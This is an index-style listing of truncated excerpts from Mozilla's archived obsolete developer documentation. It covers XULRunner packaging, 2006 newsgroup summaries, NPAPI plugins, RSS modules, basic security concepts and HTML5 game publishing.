XUL Application Packaging - Archive of obsolete content
XUL app packages are typically ZIPped into an archive with the extension .xulapp or .xpi. They can be installed to XULRunner with a command line flag "--install-app" if XULRunner is registered on the system. See Command Line Options for more details. Note: For instructions on deploying your applications see Deploying XULRunner. ...
XUL Explorer - Archive of obsolete content
XUL Explorer is a XULRunner application that provides an easy way to experiment with XUL. It's a simple editor that can preview XUL inline or in a separate popup window. It has a list of code snippets (small fragments of XUL or JavaScript) that can be quickly inserted into the editor. The XUL can be loaded from and saved to files. A XUL validator and the Error Console are both available to help debug problems. The help menu provides access to XUL information on MDC. There is even simple "keyword" help lookup for XUL elements. Roadmap Features: The preview pane can be toggled with the editor. Previewing in a popup window is still available. Option to automatically update the preview as the editor changes. Indicator in the statusbar shows errors. Double-click to display Error Conso...
ant script to assemble an extension - Archive of obsolete content
This ant script helps to package an extension <?xml version="1.0"?> This build file was written by Regis Decamps <decamps@users.sf.net> <project name="blogmark" default="createxpi"> <property name="VERSION" value="1.3-rc1"/> <property name="DESCRIPTION" value="New context-menu item to add the current page in your Blogmarks"/> XPI file is created after "chrome/blogmark.jar" is created, which is then stuffed into "blogmark.xpi" <target name="createxpi" depends="createjar" description="Assemble the final build blogmark.xpi"> <zip destfile="blogmark-${VERSION}.xpi"> <zipfileset dir="." includes="chrome/blogmark.jar" /> <zipfile...
Mozprofile - Archive of obsolete content
references in profiles, or install addons into profiles. The profile to be operated on may be specified with the --profile switch. If a profile is not specified, one will be created in a temporary directory which will be echoed to the terminal: (mozmill)> mozprofile /tmp/tmp4q1iEU.mozrunner (mozmill)> ls /tmp/tmp4q1iEU.mozrunner user.js To run mozprofile from the command line enter: mozprofile --help for a list of options. API Usage To use mozprofile as an API you can import mozprofile.profile and/or the AddonManager. mozprofile.profile features a generic Profile class. In addition, subclasses FirefoxProfile and ThundebirdProfile are available with preset preferences for those applications. Installing Addons Addons may be installed individually or from a manifest. Example: from mozprofile imp...
Mozrunner - Archive of obsolete content
and mozprocess for robust process control. mozrunner may be used from the command line or programmatically as an API. Command Line Usage The mozrunner command will launch the application (specified by --app) from a binary specified with -b or as located on the PATH. mozrunner takes the command line options from mozprofile for constructing the profile to be used by the application. Run mozrunner --help for detailed information on the command line program. API Usage mozrunner features a base class, mozrunner.runner.Runner which is an integration layer API for interfacing with Mozilla applications. mozrunner also exposes two application specific classes, FirefoxRunner and ThunderbirdRunner which record the binary names necessary for the Runner class to find them on the system. Example API usage: ...
Mozilla.dev.apps.firefox-2006-09-29 - Archive of obsolete content
ox's start up - these are some of the details Discussions Problem Handling dmg Files on Mac Discussion about why sometimes dmg files are not mounted correctly after they are downloaded. Binding tab bar to new theme Discussion about how to bind a new theme to a tab bar without losing its original binding. The Distributor University students working on Cache Distribution project - looking for help for how to tap the http requests. There have been no responses so far. Can't view Keith Olbermann Videos A user inability to launch videos, worked fine for others, ended up being a Flash version problem. Firefox 2 on Windows Vista Discussion about the "state of affairs" of Firefox 2 on Windows Vista RC1 - update for RC1 listed in Update History as 'Install Pending' right-click "Copy email addr...
2006-11-22 - Archive of obsolete content
f and Aaron Leventhal for "Improved Switch Access to Firefox". He expressed his gratitude and thanks everyone for being supportive during and after the Summit. Click here for more details. IDispatch support for JAWS scripting needed Aaron Leventhal stated that currently there is no IDispatch support for IAccessible's in Mozilla. If anyone has experience with these issues, and is comfortable helping out in the mozilla/accessible module, would you please take a look at https://bugzilla.mozilla.org/show_bug.cgi?id=166994 He stated that he almost had it working a couple of years ago. The bug has a very old patch which will no longer be easy to apply but may provide clues as to where they are going wrong. For more information click here. Discussions Image Labelling for Blind Help Machines...
2006-09-29 - Archive of obsolete content
ox's start up - these are some of the details Discussions Problem Handling dmg Files on Mac Discussion about why sometimes dmg files are not mounted correctly after they are downloaded. Binding tab bar to new theme Discussion about how to bind a new theme to a tab bar without losing its original binding. The Distributor University students working on Cache Distribution project - looking for help for how to tap the http requests. There have been no responses so far. Can't view Keith Olbermann Videos A user inability to launch videos, worked fine for others, ended up being a Flash version problem. Firefox 2 on Windows Vista Discussion about the "state of affairs" of Firefox 2 on Windows Vista RC1 - update for RC1 listed in Update History as 'Install Pending' right-click "Copy email addr...
2006-10-20 - Archive of obsolete content
which to a lesser extent further in the discussion. How to create firefox extension (chrome) to add images next to URLs ? Question regarding how to make a firefox extension that would insert an image next to all links in the loaded web pages similar to the McAfee SiteAdvisor extension. Adding support for new URI scheme Question regarding creating a new URI scheme for Firefox on Windows. Helpful information was found here on mozillaZine. Meetings None this week. Authors Sara Minchella (sara) Dave Manley (seneManley) Back to Summary List ...
2006-11-17 - Archive of obsolete content
User is looking for advice how to access HTTP or Snipurl. No replies as of yet. Firefox 2.0 - window.focus() User questions where the change in behaviour in window.focus() is a bug or was intented. Firefox 2.0 JavaScript Popup Issue User seeks advice about a line of JavaScript code that worked in Firefox 1.5.0.x, but not in Firefox 2.0 Balloon Help User inquires if anyone can explain how to disable the balloon help in Firefox 2.0. Two questions: (1) launching a separate intance of firefox.exe, and (2) programmatically closing a window User has two questions about using Adobe Flex Builder Debugger in FireFox 2.0. Meetings None this week. Authors Sara Minchella (sara) Dave Manley (seneManley) ...
2006-09-29 - Archive of obsolete content
Discussions Developer documentation issues for Thunderbird 2 Eric Shepherd has requested feedback for any developer documentation issues that might need dealing with for Thunderbird 2. Meetings None for this week. ...
2006-10-06 - Archive of obsolete content
ssues that might need dealing with for Thunderbird 2. Discussion highlights: Ziga Sancin suggests writing an introductory article for potential developers containing basic project information (history, list of main developers, project goals, roadmap and available communication channels, etc), tools needed to start developing and building TB, documentation on source structure as well as links to help one get started on the project. David Bienvenu suggests a top down architectural description of TB's data structures along with documentation about extracting them. Brian King also mentions that documentation on handling message headers on the UI side would be helpful. Cedric Corazza recommends that the proposed documention should be made available on the l10n cvs once it reaches a decent stag...
2006-10-13 - Archive of obsolete content
zilla.dev.builds - October 7th to October 13th 2006 cannot build FF 1.5.0.7 on linux x86_64 Werner Flamme cannot build FireFox 1.5.0.7 on his SUSE Linux 10.0 x86_64 box. He gets an error in the middle of his build. He has disabled Xft and has tried looking at related postings by Benjamin Smedberg gcc-40-workarounds and gcc-and-visibility-one-step-forward-hit-a-brick-wall Announcements Please help us test the new Tinderbox and Bonsai server installations Paul Reed announced that they are setting up a new installation of the Tinderbox and Bonsai servers onto new, supported hardware. Some testing and validation has been done, but they would like other people to look at the installations and complete the setup before they switch over. New Tinderbox Installation New Bonsai Installation If...
2006-10-20 - Archive of obsolete content
own extensions of choice so that his custom build would have those extensions enabled in the end product. Christopher Finke is asking the community members for tutorials or any tips on how to get started. On October 20th Christopher Finke responded to his original post. He stated that he was able to pre-package the extensions that he wanted by following this walkthrough and a little bit of help from this post. Christopher would not like to learn how to create a build of Firefox with custom extensions and not have those extensions appear in the Addons window. On October 20th Jeff Walden responded Christopher Finke's question. Jeff provided this link as an answer to Christopher Finkes' question. NSIS and my extension Jan Vavra is wondering how he could create a win32 installer...
2006-11-10 - Archive of obsolete content
Announcements There are no announcements this week. Meetings There were no meetings this week. Summarized By: Vanessa Miranda & Mohammad Tirtashi ...
2006-11-17 - Archive of obsolete content
... no Could not run GTK test program, checking why... The test program failed to compile or link. See the file config.log for the exact error that occured. This usually means GTK was incorrectly installed or that you have moved GTK since it was installed. In the latter case, you may want to edit the gtk-config script: /usr/bin/gtk-config configure: error: Test for GTK failed Bryan is asking for help as he is confused and has no idea what is causing the build process to fail. Announcements mozilla/configure regeneration down On November 13th J. Paul Reed announced that: There was a power outage at his office and the machines, which are responsible for running autoconf (configure.in -> configure), located in his office failed to boot up after power was restored. configure regeneration...
2006-11-10 - Archive of obsolete content
.0 spell-checker is available. Trunk / 1_8 for Kurdish Firefox The Firefox translations of the Kurdish are only in trunk Translating the Firefox Privacy Policy The final and approved en-US version of Privacy Policy is available here and ready for localization team to translate. SeaMonkey 1.0.6 and 1.1 Beta upcoming SeaMonkey 1.0.6 and 1.1 Beta are both available here. Discussions Help about Firefox 3 A discussion on how to syncronise MOZILLA_1_8_BRANCH with the trunk, which tag should be used to check-in files on trunk, and when files will be pulled from trunk to create another branch (MOZILLA_1_9_BRANCH?) for Firefox 3. Meetings None for this week. Authors Paul Yanchun Gu (gpaul) Aditya Nanda Kuswanto(vipers101) ...
2006-10-06 - Archive of obsolete content
is Go for Launch". Re: Sunbird and Lightning 0.3rc1 available Sunbird and Lightning 0.3rc1 is announced. This launches a (misguided?) discussion and comparison of Sunbird and Lightning to Outlook. Extension Compatibility for Firefox 2 Chris Hofmann reminds about the push to have extensions work with FF2. Also invites people to file bugs about extensions that don't work. Also invites people to help extension developers test for compatibility (link to a bunch of extension compatability bugs) Discussions Reining in the release process A discussion of what can be done to speed up the release process. The new roadmap - will there be something sometime? Simon Paquet asked for an update of the road map and either update or removal of the planning blog. Adam Gutherie replied that cbeard's blog...
2006-12-01 - Archive of obsolete content
DE Shell Integration removal Robert Strong announces that a long standing bug in Firefox's use of the Windows DDE Shell Integration code has been uncovered during Vist OS integration testing. Firefox's use of this code has been removed but the Windows DDE Shell Integration code has been kept so that 3rd party apps depending on this code can stay working. Firefox 1.5.0.9/2.0.0.1 Update - We Need Help! Jay Patael calls for help getting the next update ff 1.5.x and 2.x. He requests blocker bug owners get their patches in asap and since check approval will be granted daily that they be ready to check their patches in as soon as they are approved. Automatic configure updated back Preed announces that the machine that does the automatic autoconf/configure generation (egg.build.mozilla.org) is b...
2006-11-03 - Archive of obsolete content
Summary: mozilla.dev.platform - October 28th - November 3rd, 2006 Announcements Developer chat with Brendan Eich! Chat with the Creator of JavaScript and Mozilla CTO Brendan Eich This Tuesday, November 7th at 10am PST (UTC-8) Traffic Xepra wants to know how to open multiple tabs in a new window. Alex Vinten and Neil help him out by figuring out exactly which environment he's running in. John Gaunt discusses a proposed XULRunner unit-tests like xpcshell. Robert Sayre notes that he and Dave Liebreich have a nice, simple environment set up for browser-based JS tests Meetings No meetings this week ...
2006-11-10 - Archive of obsolete content
min Smedberg has been "working on some xptcall refactoring which will allow us to expose XPTCall via a frozen API (and C linkage)". He is looking for xptcall port maintainers to submit patches to bug 349002. Matthew Gertner wants to know if anyone has written code to paste images from the clipboard on platforms other than Windows? As of the end of the week, there is no reply. Harry is looking for help with Create Thread in javascript using nsIThread. He wants to know how to create new threads using javascript for background download operations. Neil Deakin points out that "downloads and other network operations are always done in another thread so you shouldn't be creating one yourself". Meetings No meetings this week ...
2006-10-06 - Archive of obsolete content
re FF was hanging on shutdown and some weird behaviors in the download manager. Update checker was run; all failures found were expected. Build is Go for launch. Vista Testers - needed to test Firefox and Thunderbird in Vista. Any test case ideas specific to Vista are welcomed. Check posting for details. FireFox 2 RC2 testing - Tim Riley announced the L10n builds were completed last night. To help out with testing meet in IRC chat room #qa. Test results will be posted here. Discussions None for this week Meetings Community Test Day - on Friday October 6th, 2006 in IRC chat room #testday there will be a test day focusing on Safe Browsing between 7am to 5pm PDT. Bug Day - in IRC chat room #bugday on Oct 3rd. Reminder from Tracy. Check posting for times in your region. Authors Mark D'...
2006-10-13 - Archive of obsolete content
Meetings None Authors Mark D'Souza (mdsouza) Mohamed Attar (mojo) ...
2006-10-20 - Archive of obsolete content
Summary: mozilla.dev.quality - October 13-October 20, 2006 Announcements Completed RC3 Testing - The key testing activities for RC3 has been completed. There are a few concerns with the software updates, and a decision is required on this before a "Go" for RC3 release can be given. Announced by Tim on Friday October 13, 2006. Help required designing new Home for Quality.Mozilla.Org - Talented Web Designers and/or Artists interested in helping the design for Quality.Mozilla.Org please read this posting. If your theme is chosen you will be placed on the hall of fame and will receive a gift from Mozilla. Posted by Jay Patel on October 18th, 2006. Discussions None for this week Meetings Upcoming Firefox Test Day - Testing will be emphasized on AJAX/Web 2.0, DHTML, and Plugin heavy ...
2006-11-03 - Archive of obsolete content
Authors Mark D'Souza (mdsouza) Mohamed Attar (mojo) ...
2006-11-24 - Archive of obsolete content
Module owner for mozilla/testing - Tim needs suggestions on who to promote as a moderator (to replace davel). ...
2006-12-01 - Archive of obsolete content
e during this week. Discussions Protocol Security Daniele Rizzo posted a question as to whether or not it is possible to enable/disable the privilege of UniversalXpConnect in a 'entire' protocol (http://, file://). Problem with downloading signed script components in a Firefox extension Andrew Groom is having problems getting an extension to download a signed script and would appreciates some help with his problem. Meetings None during this week. ...
2006-09-29 - Archive of obsolete content
PRBool aShrinkWrap) = 0; Details can be located at refactoring some of nsHTMLReflowState. Discussion on how to determine whether there is pending layout changes or reflows when using a popup. It was concluded that a frame model change is utilized within a popup, not a layout change. On the reflow branch, check the DIRTY and DIRTY_CHILDREN framestate flags. That won't help with pending style changes, but it'll work to detect cases when the popup or something in it needs to be reflown. Details can be located at frame reflow Issues related to the ongoing implementation of MathML-in-HTML into Mozilla, which include: Exposing the MathML implementation to tag soup. CSS Matching rules. Details can be located at MathML-in-HTML5 Meetings No meetings for this week. ...
2006-10-27 - Archive of obsolete content
Summary: mozilla.dev.tech.layout - October 21 - October 27, 2006 Announcements None this week. Discussions Removal of the NN4.6 table border color quirk Discussion on removing the NN 4.6 table boarder color quirk, which currently causes a specific markup to produce a green boarder instead of a gray one. Help for getting HTML element width info Discussion on retrieving width information on HTML elements when using the Gecko engine. It was determined that the offsetWidth property can be used to get this value. Multiple presshells Discussion on why current interfaces allow for multiple presshells and how the relationships work for the following objects: docshell, presshell, prescontext, document, domwindow, widget, docshell and contentviewer. Boris Zbarsky explains in detail the ...
2006-11-10 - Archive of obsolete content
Calendar:Improving the Calendar Views Discussion about improving the layout of Calendar. ...
NPAPI plugin developer guide - Archive of obsolete content
e cases to mozilla.dev.platform project list, so that Mozilla can prioritize web platform work to make those use cases possible. Plugins are written using NPAPI, the cross-browser API for plugins. The main source of documentation for NPAPI is the NPAPI plugin API reference. To make your plugin scriptable from web pages, use npruntime. ...
NPN_GetValue - Archive of obsolete content
tform-specific values for this parameter are NPNVxDisplay (the current Display), NPNVxtAppContext (the browser's XtAppContext), and NPNVnetscapeWindow (the browser toplevel window in which the plugin is displayed). You can use NPNVnetscapeWindow to obtain the appropriate Window for the WM_TRANSIENT_FOR property of a dialog box created from the plug-in. Microsoft Windows You can use this method to help create a menu or dialog box for a windowless plug-in. In order to bring up popup menus and modal dialogs, a plug-in needs a parent window. A windowless plug-in does not receive its own native window. Instead, it draws directly into the drawable given to it. Use the NPNVnetscapeWindow value to get the native window on which plug-in drawing occurs. The method returns a value of type HWND. In many c...
Samples and Test Cases - Archive of obsolete content
platforms. There are plans to clean up the sample plugin situation - better organization, updated build systems, get them building on all platforms. However, even if one cannot build the samples they can still be very valuable as code references. There is a guide to compiling the npruntime sample in Visual Studio. In addition to those samples, there are 2 more plugins in the tree that might be helpful. Spy Tester NPAPI Plugin Test Cases mozilla.org QA Plugins testcases mozilla.org QA OJI testcases Plugins Verification Testing Checklist (including SmokeTesting) ...
Writing a plugin for Mac OS X - Archive of obsolete content
you built it in release mode, that folder in turn contains a "Release" directory with the plugin inside it. To install the plugin, just copy it into one of these two locations: /Library/Internet Plugins/ ~/Library/Internet Plugins/ From this point, you can simply modify the sample plugin to do whatever you want. Notes and tips This section provides some additional information that may be helpful if you're trying to get a plugin building on your own. Info.plist The plugin communicates its MIME and filename extension information using the Info.plist file, which is packaged in the plugin bundle. The plugin also communicates its bundle type in that file, under the key CFBundlePackageType; the type is 'BRPL'. If the type isn't an NPAPI plugin type, the bundle won't load as an NPAPI plu...
XEmbed Extension for Mozilla Plugins - Archive of obsolete content
PP_SetWindow call, the window parameter will be the XID of the hosting XEmbed window. As an implementation note, this is really the XID of a GtkSocket window. In your Plugin Instance NPP_GetValue call you need to make sure that you support the new NPPVpluginNeedsXEmbed value. More information is included on this below. Hosting using Gtk2.x Included below are a couple of code snippits that should help you get started as well as some hints on building a successful plugin. Please use the following diagram as a reference: As you can see from the diagram above, it's pretty easy to set up a plugin using Gtk2. The general idea is that you use the XID that was passed into your NPP_SetWindow() call and create a GtkPlug to host inside of that socket. Since the GtkPlug is just a container, you can add ...
Why RSS Content Module is Popular - Including HTML Contents - Archive of obsolete content
" has been turned into "&gt;". This greatly bloats the size of contents but is necessary since certain characters are no allowed in XML. XML does however have the CDATA convention. You can put (almost) whatever you want in a CDATA section. Including "<" and ">" without having to escape them. Using the example above we'd have: <description><![CDATA[This is <b>bold</b>.]]></description> This helps reduce the bloat. However, the <description> is NOT suppose to be used for any of this. It is only suppose to be used to includeplain text. But RSS still leaves us without a way to include HTML contents. The RSS Content Module fills this gap. NOTE: Do not put anything butplain text into the RSS <description> element. Although it has become common practice to use the RSS <description> element a...
Syndicating content with RSS - Archive of obsolete content
This article provides a simple guide to using RSS to syndicate Web content. Syndicating with RSS consists of three steps: Creating an RSS feed. ...
Atomic RSS - Archive of obsolete content
Archive › RSS › Module › Atom
Atomic RSS uses Atom as an RSS Module. It brings in Atom elements into RSS, adding the advantages of Atom to RSS while maintaining backwards compatibility. ...
Content - Archive of obsolete content
The RSS Content Module provides facilities to include content for an <item>. But doing this in more efficient ways. ...
Slash - Archive of obsolete content
Archive › RSS › Module › Slash
The RSS Slash Module is popular among Slash based blogs and blogs imitating the feel for Slashdot. Slash is the engine behind the famous Slashdot. Documentation Selected Articles UP TO 10 Why RSS Slash is Popular: Counting Your Comments Charles Iliya Krempeaux talks about the RSS Slash Module, why it is popular among some, and how it is used to give a count for your comments (2005-08-22). ...
Well-Formed Web - Archive of obsolete content
The Well-Formed Web RSS Module provides facilities for <item> level commenting: for linking to comments contained in an external RSS Feed, and for posting new comments. Documentation Selected Articles Why Well-Formed Web RSS Module is Popular - Syndicating Your Comments Charles Iliya Krempeaux talks about the RSS Well-Formed Web Module, why it is popular among some, and how it is used to link to your comments (2005-08-22). ...
Proposal - Archive of obsolete content
on the machine running NewsGator; stylesheets will not be downloaded or installed automatically. Spec Exists RSS Disposition Hinting A proposal to make it so IPTV and IPradio/podcasting works better with RSS. Uses an HTTP "Content-Type" parameter to hint at an RSS feeds disposition type -- to hint at what is being syndicated. In Development rssHints A module that adds elements to a feed that help an aggregator process them. Draft Exists Source GUID When an RSS item is posted in response to a previous item (called the source item) RSS 2.0 offers the source element which allows the item to refer to the RSS feed which contains the source item. The SGUID specification provides a more granular approach by offering an sourceRef element which can reference the GUID permalink of the source. Dra...
Use Case - Archive of obsolete content
RSS Use Cases This section contains common RSS use cases. It is intended to help people understand why the RSS format is the way it is. Help people understand what the RSS format should become. And help give developers more insight. Use Cases Between RSS Aggregators and RSS Feeds Polling RSS Feeds Figuring out which version of RSS 0.91 you have How to Handle Enclosures HTTP MIME Type Handling Use Cases Between Users and RSS Feeds Subscribing to an RSS Feed ...
0.90 - Archive of obsolete content
Archive › RSS › Version › 0.90
em> <item> <title>NPL 1.0M published</title> <link>http://www.mozilla.org/NPL/NPL-1.0M.html</link> </item> </rdf:RDF> Note that here, RSS is being used to list sections of the web site. ...
RSS - Archive of obsolete content
Really Simple Syndication (RSS) is a popular HTML-like XML-based data format used for syndication. RSS has a sordid history and a multitude of different incompatible RSS versions. (Some being based on RDF, but most only being based on XML.) Nonetheless, RSS is an extremely popular format that is used for syndicating news, blog posts, IPradio, and IPTV, with an amazing amount of momentum. Documentation Why RSS Slash is Popular - Counting Your Comments Charles Iliya Krempeaux talks about the RSS Slash Module, why it is popular among some, and how it is used to give a count for your comments. ...
.htaccess ( hypertext access ) - Archive of obsolete content
ed or by the webserver. ErrorDocument 404 /notfound.html # Redirects traffic to notfound.html in case of a 404 error ErrorDocument 500 /serverr.html # Redirects traffic to serverr.html in case of a 500 internal server error For further information see this external article: Redirect your Traffic for Error Handling. Cache Control : .htaccess allows a server to control caching by web browsers, helps load pages faster, and reduces the data transfer. MIME types : see correct MIME types for further information. ...
Confidentiality, Integrity, and Availability - Archive of obsolete content
Each objective addresses a different aspect of providing protection for information. Confidentiality Confidentiality refers to protecting information from being accessed by unauthorized parties. In other words, only the people who are authorized to do so can gain access to sensitive data. Imagine your bank records. You should be able to access them, of course, and employees at the bank who are helping you with a transaction should be able to access them, but no one else should. A failure to maintain confidentiality means that someone who shouldn't have access has managed to get it, through intentional behavior or by accident. Such a failure of confidentiality, commonly known as a breach, typically cannot be remedied. Once the secret has been revealed, there's no way to un-reveal it. If your...
Security Controls - Archive of obsolete content
types of controls are necessary for robust security. For example, a security policy is a management control, but its security requirements are implemented by people (operational controls) and systems (technical controls). Think of phishing attacks. An organization may have an acceptable use policy that specifies the conduct of users, including not visiting malicious websites. Security controls to help thwart phishing, besides the management control of the acceptable use policy itself, include operational controls, such as training users not to fall for phishing scams, and technical controls that monitor emails and web site usage for signs of phishing activity. A common problem with security controls is that they often make systems less convenient or more difficult to use. When usability is a...
Introduction to SSL - Archive of obsolete content
the binding between a public key and the server identified by the certificate that contains the public key, an SSL-enabled client must receive a "yes" answer to the four questions shown in Figure 2. Although the fourth question is not technically part of the SSL protocol, it is the client's responsibility to support this requirement, which provides some assurance of the server's identity and thus helps protect against a form of security attack known as "man in the middle." An SSL-enabled client goes through these steps to authenticate a server's identity: Is today's date within the validity period? The client checks the server certificate's validity period. If the current date and time are outside of that range, the authentication process won't go any further. If the current date and tim...
Building a Theme - Archive of obsolete content
aximum version of Firefox you're saying this extension will work with. Set this to be no newer than the newest currently available version! In this case, "39.*" indicates that the extension works with Firefox 39 and any subsequent 39.x release. Themes are compatible by default, unless you set strict compatibility mode for your theme. If you get a message that the install.rdf is malformed, it is helpful to load it into firefox using the File->Open File command and it will report XML errors to you. See Install Manifests for a complete listing of the required and optional properties. Save the file. Styling the Browser's UI with CSS Firefox's user interface is written in XUL and JavaScript. XUL is an XML grammar that provides user interface widgets like buttons, menus, toolbars, trees, etc...
Common Firefox theme issues and solutions - Archive of obsolete content
rty instead (supported by Firefox since Firefox 4). -moz-transition Firefox no longer supports -moz-transition style property. Use CSS standard transition property instead (supported by Firefox since Firefox 4). Resources AMO Editors Theme Testing Guidelines When developing and testing your themes, please refer to the theme testing guidelines AMO editors use to review themes. This guide will help you thoroughly test your theme to find and fix issues before you push updates to AMO. This is document is a work in progress so feedback and/or suggestions is appreciated. MDN CSS Reference Mozilla's Developer Network maintains a great CSS reference. AMO Themes Forum We'd like to encourage you to participate in the AMO (addons.mozilla.org) forums theme forum. MozillaZine Themes Forum Mozil...
Date.prototype.toLocaleFormat() - Archive of obsolete content
d toLocaleFormat() method converts a date to a string using the specified formatting. Intl.DateTimeFormat is an alternative to format dates in a standards-compliant way. See also the newer version of Date.prototype.toLocaleDateString(). This feature has been removed and will no longer work in Firefox 58+. See Warning: Date.prototype.toLocaleFormat is deprecated for more information and migration help. Syntax dateObj.toLocaleFormat(formatString) Parameters formatString A format string in the same format expected by the strftime() function in C. Return value A string representing the given date using the specified formatting. Description The toLocaleFormat() method provides greater software control over the formatting of the generated date and/or time. Names for months and days of t...
for each...in - Archive of obsolete content
The for each...in statement iterates a specified variable over all values of object's properties. ...
MSX Emulator (jsMSX) - Archive of obsolete content
avaScript language in the most recent web browsers like Firefox 2. As you may have realized, many challenges on performance are faced when developing in JavaScript. They present an interesting testbed for pushing the current JavaScript implementations to their limits and for comparing their relative speed. jsMSX can also be used to tightly integrate existing MSX programs in web page logic. How to help Lots of work to optimize the performance and add MSX 2.0, 2.0+ and TurboR features are still necessary. Version 1.0 will release an optimized javascript engine for MSX 1.0. Version 2.0, 3.0 and 4.0 will be compatible with MSX 2.0, 2.0+ and TurboR respectively. An uncompress JavaScript function able to read zip and lhz file streams is also necessary to load compressed rom files. If you think you'd...
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
curs in the next few years. If you only test your XHTML when it is deployed as text/html, then you may be introducing problems such as described in this article without realizing it. Moving CSS and JavaScript into separate files is the safe approach with regard to changes in how your XHTML is served. Follow the XHTML 1.0 HTML Compatibility Guidelines The XHTML 1.0 HTML Compatibility Guidelines help make XHTML documents backwardly compatible with older user agents which do not understand XML. Please note that for pure XHTML documents, you do not need to use the xml-stylesheet processing instruction, but should instead use link to reference external files containing CSS. See also Writing JavaScript for XHTML Original Document Information Author(s): Bob Clary Last Updated Date: Mar...
Standards-Compliant Authoring Tools - Archive of obsolete content
e following authoring tools adhere to the W3 standards. If you're using older versions of tools that rely on old browser bugs or generate browser-specific code, it may be time to upgrade: NVu is a standalone editor created from the remains of Mozilla Composer. Currently the work done on NVu is being ported back to mozilla source code. HTML-Kit is a full-featured, low priced editor designed to help HTML, XHTML and XML authors to edit, format, lookup help, validate, preview and publish web pages. Validation is done with HTML Tidy, so you can verify standards compliance. Macromedia(TM) Dreamweaver(TM) CS6 Style Master and Layout Master by Western Civilisation Some caveats: It appears that tools currently available from Namo generate IE-specific or Netscape 4-specific code that may require...
Reference - Archive of obsolete content
hers just capitalize the first word. Which scheme should we take, or does it even matter? --Maian 07:11, 8 September 2005 (PDT) If you want to make them consistent, I think we should go with the "First word only" capitalization, rather than the book-title style. Thanks :) -- dria deprecated pre box Is there any wiki markup available for deprecated examples? --Maian 20:24, 25 Aug 2005 (PDT) Help:Custom_Templates#Template:deprecated_header --Nickolay 00:58, 26 Aug 2005 (PDT) Hmm, that was a bad question. What I meant to ask is: what markup should I use for bad examples (which aren't necessarily deprecated), i.e. examples that show what not to do? --Maian 02:07, 26 Aug 2005 (PDT) Oh, I don't think so, but you can ask dria to create a CSS class for that. --Nickolay 11:50, 26 Aug 2005 (...
RFE to the Custom Controls - Archive of obsolete content
This page could be of particular interest to people using custom controls in XUL documents for the following reason. XUL, in many cases, is much better suited for application development than XHTML. Therefore the control set may need to be more extensive to address the wider spectrum of requirements that a XUL application will have on its controls. Note: XUL is a feature of Mozilla only and custom control authors should be aware their controls won't work on other browser platforms. RFE Put your requests here. ...
Mozilla XForms User Interface - Archive of obsolete content
listbox - used when appearance = 'compact' radio group - used when appearance = 'full' Additional Elements These elements may be used as child elements to the form controls described above. label Specifies the label for the xforms control (see the spec). Every form control other than the output element must contain a label element. It is valid for a form control to have an empty label element. help Specifies contextual help for the containing form control (see the spec). The help will be displayed if the F1 key is pressed while the containing form control has focus. hint Similar to a tooltip (see the spec). The hint is displayed when the mouse moves and pauses over the containing form control. alert This message will be shown when the form control cannot properly bind to instance data or wh...
Using XForms and PHP - Archive of obsolete content
e(), or require(), functions, or another file access function, and have spaces or empty lines that are output before header() is called. The same problem exists when using a single PHP/HTML file. Parsing Submitted Data Depending on the submission type, you might get different data formats on the server side. To really use the power of XForms (/XML) you would probably submit XML. There is some help in getting to the raw XML on the PHP Documentation site. How to actually parse and use the XML data depends heavily on what you want to achieve and on the PHP version. To get a DOM Document on PHP 4 I usually do something like this: $data = $HTTP_RAW_POST_DATA; $dom = domxml_open_mem($data); $root = $dom->document_element(); ... $newnode = $dom->create_element("boo"); $root->append_child($newnod...
Mozilla's DOCTYPE sniffing - Archive of obsolete content
r "-//W3C//DTD HTML 4.01 Transitional//EN", with a system identifier. The public identifier "-//W3C//DTD HTML 4.01 Frameset//EN", with a system identifier. Quirks Mode The following trigger quirks mode (this list needs to be comprehensive to ensure that pages already existing on the Web trigger quirks mode): The following sites have been useful in preparing this list: W3C HTML Validator, HTMLHelp HTML Validator. The absence of a DOCTYPE. An XML declaration (pseudo-PI) without a doctype (in other words, ignore the XML declaration and use the DOCTYPE). In 1.0 and 1.1alpha and earlier (but not in 1.0.1 or 1.1beta), the presence of an XML declaration triggered full standards mode. A DOCTYPE declaration that cannot be understood (e.g., no matching quote). The system identifier "http://ww...
Using the Right Markup to Invoke Plugins - Archive of obsolete content
points to a page to get the plugin if it is not detected by the browser. The pluginurl attribute is another attribute that can be used, and it can be used to point directly to an XPInstall file for a more streamlined download. For the embed element in particular, these attributes in Netscape 7 and Mozilla are governed by the Plugin Finder Service preference. Under Edit | Preferences | Navigator | Helper Applications is a preference to use Netscape's Plugin Finder Service. If the user has checkedAlways Use the Netscape Plugin Finder Service to get Plugins then whether these attributes are specified or not makes no difference -- the browser willalways consult with the Plugin Finder Service to determine if it has a plugin to handle the missing MIME type. If the preference is unchecked, the Plugin...
Windows Media in Netscape - Archive of obsolete content
codebase attribute that initiates a download of the component if it is missing from the machine running the web page. The Windows Media 9 Series SDK doesn't provide a URL to use with the codebase attribute for retrieval of the component in IE, and on Netscape 7.1 the codebase attribute isn't supported for such retrieval. Therefore detecting whether the component was successfully instantiated can help provide users with the right component if a failed instantiation is detected. The code listing below provides a mechanism to to this. <object id="PlayerEx2" classid="clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6" height="200" width="200"> <param name="uiMode" value="full" /> <param name="autoStart" value="true" /> <param name="URL" value="preludesteel.wma" /> </object> <script type...
Anatomy of a video game - Game development
Experienced game programmers who are new to web development could also benefit, too. Present, accept, interpret, calculate, repeat The goal of every video game is to present the user(s) with a situation, accept their input, interpret those signals into actions, and calculate a new situation resulting from those acts. ...
Game distribution - Game development
.g. simple time killer games to be played while on the move rather than huge immersive experiences. Such games are often designed to be played with two, or even one finger, so you can hold the device, play the game and be able to use the second hand for whatever you currently need. Saying this, desktop platforms can be used for distribution quite easily with the availability of wrappers that can help you prepare native builds of your game see Packaging games. It's also nice to provide desktop controls for your games even if you're mostly targeting mobile. Players are enjoying your games on any platform available, and desktop is one of them. Plus, it is usually easier to build and test the game first on desktop, and then move on to debugging mobile. Publishing the game There are three main o...
Game monetization - Game development
on very popular and recognizable games like Angry Birds. Still, it could be another small stream of passive income. The more diversified your earnings are, the better your business stability. Donations When all else fails you can try putting a donate button on your game's page and asking for support from the community. Sometimes it works, but only if the player knows you and feels that it will help you in your situation. That's why carefully managing your community is so important. It worked with the js13kGames competition -- every participant got a free t-shirt, and some even gave back a few bucks to help keep it going in years to come. Summary There are many ways to earn money -- everything that applies to the "normal" AAA gaming world can be, more or less, applied to casual HTML5 games...
Publishing games - Game development
